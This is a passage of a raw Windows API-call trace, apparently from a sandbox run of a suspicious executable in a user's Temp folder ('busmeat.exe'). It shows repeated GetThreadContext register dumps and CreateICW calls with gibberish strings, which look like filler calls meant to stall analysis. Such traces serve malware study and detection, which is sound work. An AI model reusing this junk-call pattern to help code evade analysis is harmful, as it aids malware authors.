	[0066.249] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.249] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.250] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.250] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.250] GetConsoleCP () returned 0x0
	[0066.250] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.250] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.251] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.251] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.251] GetConsoleCP () returned 0x0
	[0066.251] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 